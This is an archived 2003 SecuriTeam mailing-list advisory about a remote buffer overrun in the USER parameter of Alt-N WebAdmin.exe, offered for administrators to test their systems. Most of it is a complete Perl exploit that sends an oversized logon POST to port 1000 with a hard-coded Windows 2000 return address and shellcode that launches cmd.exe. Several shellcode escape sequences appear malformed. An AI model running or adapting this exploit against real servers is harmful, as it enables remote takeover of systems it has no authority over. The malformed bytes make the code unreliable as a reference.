

[EXPL] Exploit Released for Buffer Overrun in WebAdmin.exe

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0091.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/24/03

To: list@securiteam.com

Date: 24 Jun 2003 20:56:42 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Exploit Released for Buffer Overrun in WebAdmin.exe

SUMMARY

<<http://www.altn.com/>> WebAdmin allows administrators to securely manage MDaemon, RelayFax, and WorldClient from anywhere in the world. As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5WPOL15ABG.html>> Remote System Buffer Overrun in WebAdmin.exe, there is a remotely exploitable buffer overrun in the USER parameter. The following exploit code can be used by administrators to test their system for the mentioned vulnerability.

DETAILS

Exploit:

The exploit code below will simply open up a cmd.exe shell, the exploit code has been hard coded to use Windows 2000 addresses, though it is simple enough to modify it to use other addresses.

```
#!/usr/bin/perl
```

Securiteam: [EXPL] Exploit Released for Buffer Overrun in WebAdmin.exe

```
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                PeerAddr => $host,
                                PeerPort => "1000",
                                );
unless ($remote) { die "cannot connect to http daemon on $host" }

$remote->autoflush(1);

$shellcode = join ("",
"\x90", # - NOP
"\xCC", # - INT3
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x8B\xEC", # - MOV EBP, ESP
"\x55", # - PUSH EBP
"\x8B\xEC", # - MOV EBP, ESP
"\x33\xFF", # - XOR EDI, EDI
"\x57", # - PUSH EDI
"\x83\xEC\x04", # 0 SUB ESP, 4
"\xC6\x45xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
"\xC6\x45xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
"\xC6\x45xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
"\xC6\x45\FB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
"\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
"\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
"\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
"\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
"\x50", # - PUSH EAX
"\x8D\x45xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
"\x50", # - PUSH EAX
"\xFF\x55xF4", # - CALL DWORD PTR SS:[EBP-C]
"\x5F" # - POP EDI
);

$eip = "\xD6\xBF\x53\x07";

$data = join("", "User=", "A"x168, $eip, $shellcode, "A"x1500,
"&Password=foo&languageselect=en&Theme=Heavy&Logon=Sign+In");

$data_length = length($data);

$request = join ("", "POST /WebAdmin.dll?View=Logon HTTP/1.1\r\
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*\r
Referer: http://localhost:1000/\r
Accept-Language: en-us\r
```

Securiteam: [EXPL] Exploit Released for Buffer Overrun in WebAdmin.exe

```
Content-Type: application/x-www-form-urlencoded\r
Accept-Encoding: gzip, deflate\r
User-Agent: MyUser Agent\r
Host: localhost\r
Content-Length: $data_length\r
Connection: Keep-Alive\r
Cache-Control: no-cache\r
Cookie: User=SECURITEAM; Lang=en; Theme=Standard\r
\r
$data");
```

```
print "Sending this [$request]\n";
```

```
print $remote $request;
sleep(1);
```

```
close $remote;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:expert@securiteam.com>> Noam Rathaus and Ami Chayun of SecurITeam Experts.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.